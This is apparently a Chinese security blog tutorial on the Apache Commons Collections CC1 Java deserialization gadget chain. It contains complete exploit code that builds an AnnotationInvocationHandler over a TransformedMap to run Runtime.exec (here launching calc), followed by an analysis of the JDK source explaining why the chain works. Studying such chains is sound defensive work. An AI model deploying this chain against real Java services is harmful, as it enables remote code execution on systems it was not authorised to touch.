import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception{
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[]{}}//获取到了getRuntime方法
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[]{}}//用invoke方法传递参数,等于调用了getRuntime()方法,获取了一个Runtime对象,用于传入下一步
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
// transformedChain.transform(null);
Map<Object,Object> map = new HashMap<>();
map.put("potato","CC");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,transformedChain);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue("any");
}

}
}

合理猜想对transformedMap调用put()方法时会调用setValue()方法,毕竟增加了键值对必然要set,

1
2
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,transformedChain);
transformedMap.put("h","gg");

发现也可以调用

下一步就要找谁的readObject()调用了setValue()方法:

AnnotationInvocationHandler类:

在这之前先手动导入一下sun包,

安装jdk源码

在自己的jdk目录下将src压缩包解压

sun包copy到jdk的src目录下:

添加库:

查找setValue()用法时便能看到被AnnotationInvocationHandler的readObject()方法调用了,同时注意到该类不是public,只能在当前包下访问:

既然不是public,那就可以使用强大的反射来调用

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.example.commoncollections;

import com.fasterxml.jackson.databind.ser.impl.MapEntrySerializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception{
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[]{}}//获取到了getRuntime方法
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[]{}}//用invoke方法传递参数,等于调用了getRuntime()方法,获取了一个Runtime对象,用于传入下一步
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
// transformedChain.transform(null);
Map<Object,Object> map = new HashMap<>();
map.put("value","CC");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,transformedChain);
// transformedMap.put("h","hh");
// for (Map.Entry entry:transformedMap.entrySet()){
// entry.setValue("any");
// }
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,transformedMap);
serialize(obj);
unserialize("data.bin");
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("data.bin"));
outputStream.writeObject(o);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

为什么是在构造函数第一个参数传入Target.class呢?这里跳到AnnotationInvocationHandler的构造函数处,可以看到第一个参数是一个Class的泛型,继承了注解的Annotation类,下面的if判断要求第一个参数isAnnotation()必须返回true,即必须是一个注解的类,Target是注解,当然Override也是,继续往下看

会发现Target有一个value()方法,而Override没有

在测试的时候发现只有put的键为”value”时才能触发反序列化,那为什么put()的键需要是”value”呢?

我们去看最后的readObject()的重写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

显然要走到最后的setValue()需要经过一个if判断,要求memberType非空,memberType是要以name变量为参数调用get()方法获取,意味着name变量不能为空,那name变量是什么?继续往上看,name是从memberValue中获取键,memberValue是一个键值对,遍历于memberValues,memberValues是在构造函数中被赋值的,就是我们传入的Map对象,也就是transformedMap

因此put上去的map的键,最终是“value”,memberTypes去get()获取”value”这个成员,那memberTypes是什么呢?

是调用了annotationType的memberTypes()方法,那annotationType是怎么定义的

把我们传入的注解作为参数了,瞅一眼实现类AnnotationType的构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private AnnotationType(final Class<? extends Annotation> var1) {
if (!var1.isAnnotation()) {
throw new IllegalArgumentException("Not an annotation type");
} else {
Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
return var1.getDeclaredMethods();
}
});
this.memberTypes = new HashMap(var2.length + 1, 1.0F);
this.memberDefaults = new HashMap(0);
this.members = new HashMap(var2.length + 1, 1.0F);
Method[] var3 = var2;
int var4 = var2.length;

for(int var5 = 0; var5 < var4; ++var5) {
Method var6 = var3[var5];
if (var6.getParameterTypes().length != 0) {
throw new IllegalArgumentException(var6 + " has params");
}

String var7 = var6.getName();
Class var8 = var6.getReturnType();
this.memberTypes.put(var7, invocationHandlerReturnType(var8));
this.members.put(var7, var6);
Object var9 = var6.getDefaultValue();
if (var9 != null) {
this.memberDefaults.put(var7, var9);
}
}

if (var1 != Retention.class && var1 != Inherited.class) {
JavaLangAccess var10 = SharedSecrets.getJavaLangAccess();
Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class});
Retention var12 = (Retention)var11.get(Retention.class);
this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value();
this.inherited = var11.containsKey(Inherited.class);
} else {
this.retention = RetentionPolicy.RUNTIME;
this.inherited = false;
}

}
}

var3是注解类中成员方法的集合,(比如Target下的value())

CC2

JavaDeserializeLabs

lab1-basic

lab2-ysoserial

lab3-shiro-jrmp

lab4-shiro-blind

lab5-weblogic-readResolve

lab6-weblogic-resolveProxyClass

lab7-weblogic-UnicastRef

lab8-jrmp-unicastRemoteObject

lab9-proxy

作者

Potat0w0

发布于

2023-02-09

更新于

2024-02-05

许可协议


评论